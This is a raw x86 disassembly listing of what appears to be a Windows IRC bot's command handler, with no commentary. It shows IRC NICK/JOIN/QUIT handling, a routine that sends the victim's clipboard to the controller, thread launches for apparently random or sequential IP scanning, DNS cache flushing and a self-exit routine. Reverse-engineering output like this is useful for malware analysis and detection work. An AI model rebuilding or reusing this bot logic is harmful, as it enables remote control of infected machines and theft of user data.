lea eax, [ebp+arg_0]
push 4
push eax
call dword_43EADC ; gethostbyaddr
cmp eax, ebx
jz short loc_41382A
push dword ptr [eax]
loc_4137F8: ; CODE XREF: sub_40EC43+4BE5j
push edi
lea eax, [ebp+var_2EC]
push offset dword_435404
push eax
call sub_416FB6
jmp loc_413746
; ---------------------------------------------------------------------------
loc_41380F: ; CODE XREF: sub_40EC43+4B9Fj
push edi
call dword_43EBA8 ; gethostbyname
cmp eax, ebx
jz short loc_41382A
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_43EBB0 ; inet_ntoa
push eax
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_41382A: ; CODE XREF: sub_40EC43+4BB1j
; sub_40EC43+4BD5j
push offset dword_4353CC
jmp loc_410E28
; ---------------------------------------------------------------------------
loc_413834: ; CODE XREF: sub_40EC43+1A94j
; sub_40EC43+1AABj
push 7Fh
push edi
push [ebp+arg_14]
call sub_418910
push edi
lea eax, [ebp+var_2EC]
push offset dword_435398
push eax
call sub_416FB6
add esp, 18h
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_413859: ; CODE XREF: sub_40EC43+1A66j
; sub_40EC43+1A7Dj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_43EA98
test eax, eax
push edi
jz short loc_413879
push offset dword_43535C
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_413879: ; CODE XREF: sub_40EC43+4C2Aj
push offset dword_435318
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_413883: ; CODE XREF: sub_40EC43+1A38j
; sub_40EC43+1A4Fj
mov al, [edi]
mov byte_42E91C, al
movsx eax, byte ptr [edi]
push eax
push offset dword_4352E0
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_413898: ; CODE XREF: sub_40EC43+1A0Aj
; sub_40EC43+1A21j
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
push ebx
push ebx
lea eax, [ebp+var_B8]
push 2
push eax
call sub_415A3A
push eax
lea eax, [ebp+var_2EC]
push offset dword_435C84
push eax
call sub_416FB6
add esp, 1Ch
jmp loc_412D5F
; ---------------------------------------------------------------------------
loc_4138E3: ; CODE XREF: sub_40EC43+19DCj
; sub_40EC43+19F3j
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_40F098
push edi
call sub_41751F
mov esi, 1F4h
pop ecx
cmp eax, esi
jge loc_40F098
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D430
pop ecx
pop ecx
push esi
call dword_423064 ; Sleep
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call dword_43EBBC ; closesocket
push [ebp+var_10]
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_44457C[eax]
call dword_423168 ; TerminateThread
push edi
call sub_41751F
imul eax, 234h
push edi
mov dword_44457C[eax], ebx
call sub_41751F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_444368[eax], bl
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_41398C: ; CODE XREF: sub_40EC43+19AEj
; sub_40EC43+19C5j
push edi
push offset aAll ; "all"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4139BB
call sub_416C3D
cmp eax, ebx
jle short loc_4139B1
push eax
push offset dword_435294
jmp loc_41165B
; ---------------------------------------------------------------------------
loc_4139B1: ; CODE XREF: sub_40EC43+4D61j
push offset dword_43525C
jmp loc_41437F
; ---------------------------------------------------------------------------
loc_4139BB: ; CODE XREF: sub_40EC43+4D58j
mov eax, [ebp+var_BC]
lea esi, [eax+1]
jmp short loc_413A32
; ---------------------------------------------------------------------------
loc_4139C6: ; CODE XREF: sub_40EC43+4DF2j
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40F098
push edi
call sub_41751F
push eax
call sub_416BB5
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2EC]
jz short loc_4139F5
push offset dword_435228
jmp short loc_4139FA
; ---------------------------------------------------------------------------
loc_4139F5: ; CODE XREF: sub_40EC43+4DA9j
push offset dword_4351EC
loc_4139FA: ; CODE XREF: sub_40EC43+4DB0j
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_413A24
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_413A24: ; CODE XREF: sub_40EC43+4DC3j
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
pop ecx
inc esi
loc_413A32: ; CODE XREF: sub_40EC43+4D81j
cmp esi, 20h
jb short loc_4139C6
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_413A3C: ; CODE XREF: sub_40EC43+1980j
; sub_40EC43+1997j
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414CDE
push esi
push offset dword_4275E0
push [ebp+arg_4]
call sub_40D430
push esi
push offset dword_4351C4
jmp short loc_413ABA
; ---------------------------------------------------------------------------
loc_413A70: ; CODE XREF: sub_40EC43+1952j
; sub_40EC43+1969j
push edi
push offset dword_435BB4
push [ebp+arg_4]
call sub_40D430
push edi
push offset dword_435194
jmp short loc_413ABA
; ---------------------------------------------------------------------------
loc_413A86: ; CODE XREF: sub_40EC43+1924j
; sub_40EC43+193Bj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D430
push edi
push offset dword_435164
jmp loc_412E12
; ---------------------------------------------------------------------------
loc_413AA6: ; CODE XREF: sub_40EC43+18F6j
; sub_40EC43+190Dj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40D430
push edi
push offset dword_435130
loc_413ABA: ; CODE XREF: sub_40EC43+42F8j
; sub_40EC43+4E2Bj ...
call sub_40BE01
loc_413ABF: ; CODE XREF: sub_40EC43+435Ej
add esp, 14h
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_413AC7: ; CODE XREF: sub_40EC43+18BBj
; sub_40EC43+18D0j
mov al, byte_42E94A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_42E94A
jz loc_40F098
mov ecx, edx
loc_413ADE: ; CODE XREF: sub_40EC43+4EA3j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_413ADE
cmp al, bl
jz loc_40F098
mov [ebp+arg_18], edx
loc_413AF3: ; CODE XREF: sub_40EC43+515Cj
push 8
call sub_416CBC
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 258h
jle short loc_413B42
push ecx
lea eax, [ebp+var_2EC]
push offset unk_4364F0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 20h
jmp loc_413D96
; ---------------------------------------------------------------------------
loc_413B42: ; CODE XREF: sub_40EC43+4ECAj
or [ebp+var_46C], 0FFFFFFFFh
cmp dword_429D60, ebx
mov [ebp+var_470], 14h
mov [ebp+var_484], 7
mov [ebp+var_480], 140h
mov [ebp+arg_0], ebx
jz short loc_413BB3
mov eax, [ebp+arg_18]
mov edi, offset dword_429D60
lea esi, [eax-0Ah]
loc_413B7D: ; CODE XREF: sub_40EC43+4F52j
lea eax, [edi-28h]
push esi
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_413B99
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_413B7D
jmp short loc_413BB3
; ---------------------------------------------------------------------------
loc_413B99: ; CODE XREF: sub_40EC43+4F48j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_46C], eax
imul ecx, 3Ch
mov ecx, dword_429D60[ecx]
mov [ebp+var_488], ecx
loc_413BB3: ; CODE XREF: sub_40EC43+4F2Dj
; sub_40EC43+4F54j
cmp [ebp+var_488], ebx
jz loc_413DBC
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_E4]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43EAC8 ; getsockname
mov al, [ebp+var_95F]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_E0], eax
push [ebp+var_E0]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_59C]
push eax
call sub_418910
xor eax, eax
cmp [ebp+var_95F], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_59C]
push eax
call sub_418C10
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_413C55
loc_413C33: ; CODE XREF: sub_40EC43+5010j
cmp eax, ebx
jz short loc_413C55
mov byte ptr [eax], 78h
lea eax, [ebp+var_59C]
push 30h
push eax
call sub_418C10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_413C33
loc_413C55: ; CODE XREF: sub_40EC43+4FEEj
; sub_40EC43+4FF2j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_48C], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_460], eax
lea eax, [ebp+var_58C]
push eax
mov [ebp+var_45C], 1
mov [ebp+var_464], esi
call sub_41752A
mov edi, offset a2 ; "#2"
push offset byte_43BCE8
push edi
call sub_4173D0
add esp, 14h
test eax, eax
jz short loc_413CBF
push edi
lea eax, [ebp+var_50C]
push 80h
push eax
call sub_41752A
add esp, 0Ch
jmp short loc_413CC5
; ---------------------------------------------------------------------------
loc_413CBF: ; CODE XREF: sub_40EC43+5063j
mov [ebp+var_50C], bl
loc_413CC5: ; CODE XREF: sub_40EC43+507Aj
cmp [ebp+var_45C], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_413CD7
mov eax, offset aSequential ; "Sequential"
loc_413CD7: ; CODE XREF: sub_40EC43+508Dj
push [ebp+var_470]
lea ecx, [ebp+var_59C]
push [ebp+var_480]
push [ebp+var_484]
push [ebp+var_488]
push ecx
push eax
lea eax, [ebp+var_2EC]
push offset unk_4350B8
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 8
push eax
call sub_416A7A
add esp, 2Ch
mov [ebp+var_47C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_59C]
push ebx
push eax
push offset sub_4077CC
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_47C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_413DB2
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2EC]
push offset unk_4363D8
push eax
call sub_416FB6
add esp, 0Ch
loc_413D6A: ; CODE XREF: sub_40EC43+5177j
cmp [ebp+var_8], ebx
jnz short loc_413D89
push ebx
lea eax, [ebp+var_2EC]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_413D89: ; CODE XREF: sub_40EC43+512Aj
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
pop ecx
loc_413D96: ; CODE XREF: sub_40EC43+4EFAj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_413AF3
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_413DAA: ; CODE XREF: sub_40EC43+5175j
push 32h
call dword_423064 ; Sleep
loc_413DB2: ; CODE XREF: sub_40EC43+510Aj
cmp [ebp+var_458], ebx
jz short loc_413DAA
jmp short loc_413D6A
; ---------------------------------------------------------------------------
loc_413DBC: ; CODE XREF: sub_40EC43+30CEj
; sub_40EC43+4F76j
push offset unk_435070
jmp loc_411980
; ---------------------------------------------------------------------------
loc_413DC6: ; CODE XREF: sub_40EC43+1891j
; sub_40EC43+18A6j
push [ebp+var_8C]
lea eax, [ebp+var_A4]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
push offset unk_435034
mov [ebp+var_A8], eax
mov eax, [ebp+var_4]
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
push ebx
lea eax, [ebp+var_2EC]
push 1Eh
push eax
call sub_416A7A
add esp, 24h
mov [ebp+var_24], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A8]
push ebx
push eax
push offset sub_408E7C
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_24]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_413E62
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_434FE8
jmp loc_412988
; ---------------------------------------------------------------------------
loc_413E5A: ; CODE XREF: sub_40EC43+5222j
push 32h
call dword_423064 ; Sleep
loc_413E62: ; CODE XREF: sub_40EC43+5204j
cmp [ebp+var_18], ebx
jz short loc_413E5A
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_413E6C: ; CODE XREF: sub_40EC43+1867j
; sub_40EC43+187Cj
push 4
call sub_416CBC
test eax, eax
pop ecx
jle short loc_413E82
push offset unk_434FB8
jmp loc_411980
; ---------------------------------------------------------------------------
loc_413E82: ; CODE XREF: sub_40EC43+5233j
mov eax, [ebp+esi+var_90]
mov edi, 104h
cmp eax, ebx
jz short loc_413EA5
push eax
lea eax, [ebp+var_16DC]
push edi
push eax
call sub_41752A
add esp, 0Ch
jmp short loc_413EB4
; ---------------------------------------------------------------------------
loc_413EA5: ; CODE XREF: sub_40EC43+524Dj
lea eax, [ebp+var_16DC]
push edi
push eax
push ebx
call dword_423094 ; GetModuleFileNameA
loc_413EB4: ; CODE XREF: sub_40EC43+5260j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_413EC4
mov esi, offset byte_42E9B8
loc_413EC4: ; CODE XREF: sub_40EC43+527Aj
push esi
lea eax, [ebp+var_15D8]
push edi
push eax
call sub_41752A
mov eax, dword_42E904
push 7Fh
push [ebp+var_8C]
mov [ebp+var_14CC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14D0], ebx
mov [ebp+var_16E0], eax
lea eax, [ebp+var_14C8]
push eax
call sub_418910
mov eax, [ebp+var_4]
mov [ebp+var_1448], eax
mov eax, [ebp+var_8]
mov [ebp+var_1444], eax
lea eax, [ebp+var_15D8]
push eax
lea eax, [ebp+var_16DC]
push eax
lea eax, [ebp+var_2EC]
push [ebp+var_14CC]
push offset unk_434F68
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 4
push eax
call sub_416A7A
add esp, 38h
mov [ebp+var_14D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_16E0]
push ebx
push eax
push offset sub_406A71
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_14D4]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_413F97
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_434F20
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_413F8F: ; CODE XREF: sub_40EC43+535Aj
push 32h
call dword_423064 ; Sleep
loc_413F97: ; CODE XREF: sub_40EC43+5339j
cmp [ebp+var_1440], ebx
jz short loc_413F8F
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_413FA4: ; CODE XREF: sub_40EC43+183Dj
; sub_40EC43+1852j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_413FC3
push edi
call sub_41751F
test eax, eax
pop ecx
jz short loc_413FC3
push edi
call sub_41751F
pop ecx
jmp short loc_413FC8
; ---------------------------------------------------------------------------
loc_413FC3: ; CODE XREF: sub_40EC43+536Aj
; sub_40EC43+5375j
mov eax, dword_42E908
loc_413FC8: ; CODE XREF: sub_40EC43+537Ej
mov esi, [ebp+esi+var_8C]
mov [ebp+var_D70], eax
xor eax, eax
cmp [ebp+var_95C], bl
setz al
cmp esi, ebx
mov [ebp+var_D5C], eax
jz short loc_413FFB
lea eax, [ebp+var_E74]
push esi
push eax
call sub_416FB6
pop ecx
pop ecx
jmp short loc_414026
; ---------------------------------------------------------------------------
loc_413FFB: ; CODE XREF: sub_40EC43+53A5j
lea eax, [ebp+var_AC4]
push 104h
push eax
call dword_423068 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_E0]
push ebx
push eax
lea eax, [ebp+var_AC4]
push eax
call sub_418FB8
add esp, 14h
loc_414026: ; CODE XREF: sub_40EC43+53B6j
lea eax, [ebp+var_E74]
push eax
call sub_4177B0
cmp [ebp+eax+var_E75], 5Ch
pop ecx
jnz short loc_414051
lea eax, [ebp+var_E74]
push eax
call sub_4177B0
pop ecx
mov [ebp+eax+var_E75], bl
loc_414051: ; CODE XREF: sub_40EC43+53F8j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_10FC]
mov [ebp+var_1100], esi
push 80h
push eax
call sub_41752A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_D60], eax
lea eax, [ebp+var_E74]
mov [ebp+var_D64], edi
push eax
push [ebp+var_D70]
push esi
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_2EC]
push offset unk_434ED0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 3
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_D68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1100]
push ebx
push eax
push offset sub_405983
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_D68]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41410C
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_434E88
jmp loc_414236
; ---------------------------------------------------------------------------
loc_414104: ; CODE XREF: sub_40EC43+54CFj
push 32h
call dword_423064 ; Sleep
loc_41410C: ; CODE XREF: sub_40EC43+54AEj
cmp [ebp+var_D54], ebx
jz short loc_414104
jmp loc_414245
; ---------------------------------------------------------------------------
loc_414119: ; CODE XREF: sub_40EC43+1813j
; sub_40EC43+1828j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_414138
push edi
call sub_41751F
test eax, eax
pop ecx
jz short loc_414138
push edi
call sub_41751F
pop ecx
jmp short loc_41413D
; ---------------------------------------------------------------------------
loc_414138: ; CODE XREF: sub_40EC43+54DFj
; sub_40EC43+54EAj
mov eax, dword_42E90C
loc_41413D: ; CODE XREF: sub_40EC43+54F3j
mov [ebp+var_AF0], eax
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
jnz short loc_414154
lea eax, [ebp+var_D4]
loc_414154: ; CODE XREF: sub_40EC43+5509j
push eax
lea eax, [ebp+var_C30]
push 40h
push eax
call sub_41752A
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jnz short loc_414176
mov esi, offset byte_43BCE8
loc_414176: ; CODE XREF: sub_40EC43+552Cj
push esi
lea eax, [ebp+var_BF0]
push 100h
push eax
call sub_41752A
push [ebp+var_8C]
lea eax, [ebp+var_CB0]
push 80h
push eax
call sub_41752A
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_ADC], eax
lea eax, [ebp+var_C30]
push eax
mov [ebp+var_CB4], esi
push [ebp+var_AF0]
mov [ebp+var_AE0], edi
push esi
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_2EC]
push offset dword_434E38
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 6
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_AEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_CB4]
push ebx
push eax
push offset sub_41547D
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_AEC]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41426B
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_434DE8
loc_414236: ; CODE XREF: sub_40EC43+35CEj
; sub_40EC43+36C7j ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
add esp, 0Ch
loc_414245: ; CODE XREF: sub_40EC43+35E3j
; sub_40EC43+36DCj ...
cmp [ebp+var_8], ebx
jnz loc_40F594
push ebx
push edi
loc_414250: ; CODE XREF: sub_40EC43+3A16j
lea eax, [ebp+var_2EC]
push eax
push [ebp+var_8C]
push esi
jmp loc_4119AB
; ---------------------------------------------------------------------------
loc_414263: ; CODE XREF: sub_40EC43+562Ej
push 32h
call dword_423064 ; Sleep
loc_41426B: ; CODE XREF: sub_40EC43+55E5j
cmp [ebp+var_AD8], ebx
jz short loc_414263
jmp short loc_414245
; ---------------------------------------------------------------------------
loc_414275: ; CODE XREF: sub_40EC43+17E9j
; sub_40EC43+17FEj
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_414288
push esi
call sub_41751F
jmp short loc_41428F
; ---------------------------------------------------------------------------
loc_414288: ; CODE XREF: sub_40EC43+563Bj
push 8
call sub_416CDB
loc_41428F: ; CODE XREF: sub_40EC43+5643j
cmp eax, ebx
pop ecx
jz loc_414CDE
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40702C
jmp loc_414760
; ---------------------------------------------------------------------------
loc_4142AF: ; CODE XREF: sub_40EC43+17BFj
; sub_40EC43+17D4j
mov eax, dword_43EA4C
cmp eax, ebx
jz short loc_4142D2
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2EC]
jz short loc_4142CB
push offset unk_434DB4
jmp short loc_4142F3
; ---------------------------------------------------------------------------
loc_4142CB: ; CODE XREF: sub_40EC43+567Fj
push offset unk_434D78
jmp short loc_4142F3
; ---------------------------------------------------------------------------
loc_4142D2: ; CODE XREF: sub_40EC43+5673j
push offset unk_434D3C
lea eax, [ebp+var_2EC]
jmp short loc_4142F3
; ---------------------------------------------------------------------------
loc_4142DF: ; CODE XREF: sub_40EC43+1795j
; sub_40EC43+17AAj
call sub_40AC30
test eax, eax
lea eax, [ebp+var_2EC]
jz short loc_414303
push offset unk_434D08
loc_4142F3: ; CODE XREF: sub_40EC43+5686j
; sub_40EC43+568Dj ...
push 200h
push eax
call sub_41752A
jmp loc_4115BB
; ---------------------------------------------------------------------------
loc_414303: ; CODE XREF: sub_40EC43+56A9j
push offset unk_434CCC
jmp short loc_4142F3
; ---------------------------------------------------------------------------
loc_41430A: ; CODE XREF: sub_40EC43+176Bj
; sub_40EC43+1780j
cmp [ebp+var_8], ebx
jnz short loc_414329
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_414329: ; CODE XREF: sub_40EC43+56CAj
push ebx
push [ebp+var_4]
call sub_40A8ED
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
push offset dword_434C8C
jmp loc_41462D
; ---------------------------------------------------------------------------
loc_41434B: ; CODE XREF: sub_40EC43+1691j
; sub_40EC43+16A6j
push 7
call sub_416CBC
test eax, eax
pop ecx
jle short loc_41435E
push offset dword_434C54
jmp short loc_41437F
; ---------------------------------------------------------------------------
loc_41435E: ; CODE XREF: sub_40EC43+5712j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B398
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41437A
push offset dword_434C1C
jmp short loc_41437F
; ---------------------------------------------------------------------------
loc_41437A: ; CODE XREF: sub_40EC43+572Ej
push offset dword_434BEC
loc_41437F: ; CODE XREF: sub_40EC43+4D73j
; sub_40EC43+5719j ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
pop ecx
pop ecx
jmp loc_41166A
; ---------------------------------------------------------------------------
loc_414392: ; CODE XREF: sub_40EC43+1667j
; sub_40EC43+167Cj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A2E5
jmp loc_41464E
; ---------------------------------------------------------------------------
loc_4143AB: ; CODE XREF: sub_40EC43+163Dj
; sub_40EC43+1652j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D11F
jmp loc_41464E
; ---------------------------------------------------------------------------
loc_4143C8: ; CODE XREF: sub_40EC43+1613j
; sub_40EC43+1628j
or edi, 0FFFFFFFFh
call dword_423058 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_4143F1
push esi
call sub_41751F
pop ecx
mov edi, eax
loc_4143F1: ; CODE XREF: sub_40EC43+57A3j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_41440A
cmp edi, 0FFFFFFFFh
jnz loc_414CDE
loc_41440A: ; CODE XREF: sub_40EC43+57BCj
push ebx
call sub_40B54D
push eax
lea eax, [ebp+var_2EC]
push offset dword_434BC4
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
loc_414447: ; CODE XREF: sub_40EC43+341Cj
add esp, 28h
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_41444F: ; CODE XREF: sub_40EC43+15E9j
; sub_40EC43+15FEj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_408A63
lea eax, [ebp+var_2EC]
push offset unk_434B94
push eax
call sub_416FB6
loc_414471: ; CODE XREF: sub_40EC43+3C39j
add esp, 14h
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_414479: ; CODE XREF: sub_40EC43+15BFj
; sub_40EC43+15D4j
push 1Fh
call sub_416CBC
test eax, eax
pop ecx
jle short loc_4144AD
cmp [ebp+var_8], ebx
jnz loc_40F098
push ebx
push [ebp+var_4]
push offset unk_434B60
push [ebp+var_8C]
loc_41449D: ; CODE XREF: sub_40EC43+8D9j
push [ebp+arg_4]
call sub_40D476
add esp, 14h
jmp loc_40F098
; ---------------------------------------------------------------------------
loc_4144AD: ; CODE XREF: sub_40EC43+5840j
push [ebp+var_8C]
lea eax, [ebp+var_380]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_384], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_2F4], eax
mov [ebp+var_2FC], ebx
jz short loc_41450E
push esi
push offset aFull ; "full"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41450E
mov [ebp+var_2FC], 1
loc_41450E: ; CODE XREF: sub_40EC43+58AEj
; sub_40EC43+58BFj
lea eax, [ebp+var_2EC]
push offset dword_434B28
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 1Fh
push eax
call sub_416A7A
add esp, 14h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_384]
push ebx
push eax
push offset sub_4150C3
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41458E
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2EC]
push offset unk_434AD8
push eax
call sub_416FB6
add esp, 0Ch
jmp loc_41168B
; ---------------------------------------------------------------------------
loc_414586: ; CODE XREF: sub_40EC43+5951j
push 32h
call dword_423064 ; Sleep
loc_41458E: ; CODE XREF: sub_40EC43+5921j
cmp [ebp+var_2F0], ebx
jz short loc_414586
jmp loc_41168B
; ---------------------------------------------------------------------------
loc_41459B: ; CODE XREF: sub_40EC43+1595j
; sub_40EC43+15AAj
cmp [ebp+var_8], ebx
jnz short loc_4145BA
push ebx
push [ebp+var_4]
push offset dword_434AB0
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_4145BA: ; CODE XREF: sub_40EC43+595Bj
push [ebp+arg_4]
call dword_43EBBC ; closesocket
call dword_43EA84 ; WSACleanup
call sub_40AA70
push ebx
call dword_42314C ; ExitProcess
loc_4145D5: ; CODE XREF: sub_40EC43+156Bj
; sub_40EC43+1580j
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40B6ED
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
push offset dword_434A88
jmp short loc_41462D
; ---------------------------------------------------------------------------
loc_414600: ; CODE XREF: sub_40EC43+1432j
; sub_40EC43+1447j
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40B9A1
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
push offset dword_434A60
loc_41462D: ; CODE XREF: sub_40EC43+5703j
; sub_40EC43+59BBj
call sub_40BD8D
loc_414632: ; CODE XREF: sub_40EC43+41D4j
add esp, 18h
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_41463A: ; CODE XREF: sub_40EC43+1408j
